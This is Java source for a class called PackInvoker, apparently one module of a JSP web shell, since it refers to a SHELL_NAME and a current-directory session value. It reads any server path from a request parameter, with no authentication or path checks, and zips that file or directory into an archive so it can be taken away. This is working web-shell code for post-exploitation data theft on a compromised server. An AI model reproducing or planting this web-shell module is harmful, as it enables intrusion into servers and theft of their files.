package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

public class PackInvoker extends DefaultInvoker {
    public boolean doBefore() {
        return false;
    }

    public boolean doAfter() {
        return false;
    }

    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            String packedFile = request.getParameter("packedfile");
            if (Utils.isEmpty(packedFile))
                return;
            String saveFileName = request.getParameter("savefilename");
            File saveF = new File(session.getAttribute(CURRENT_DIR).toString(), saveFileName);
            if (saveF.exists()) {
                session.setAttribute(MSG, "The File \"" + saveFileName + "\" Has Been Exists!");
                response.sendRedirect(SHELL_NAME + "?o=index");
                return;
            }
            File pF = new File(packedFile);
            ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
            String base = "";
            if (pF.isDirectory()) {
                zipDir(pF, base, zout);
            } else {
                zipFile(pF, base, zout);
            }
            zout.close();
            session.setAttribute(MSG, "Pack File Success!");
            response.sendRedirect(SHELL_NAME + "?o=index");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }

    public void zipDir(File f, String base, ZipOutputStream zout) throws Exception {
        if (f.isDirectory()) {
            File[] arr = f.listFiles();
            for (File ff : arr) {
                String tmpBase = base;
                if (!Utils.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
                    tmpBase += "/";
                zipDir(ff, tmpBase + f.getName(), zout);
            }
        } else {
            String tmpBase = base;
            if (!Utils.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
                tmpBase += "/";
            zipFile(f, tmpBase, zout);
        }
    }

    public void zipFile(File f, String base, ZipOutputStream zout) throws Exception {
        ZipEntry entry = new ZipEntry(base + f.getName());
        zout.putNextEntry(entry);
        FileInputStream fInput = new FileInputStream(f);
        int len = 0;
        byte[] buf = new byte[1024];
        while ((len = fInput.read(buf)) != -1) {
            zout.write(buf, 0, len);
            zout.flush();
        }
        fInput.close();
    }
}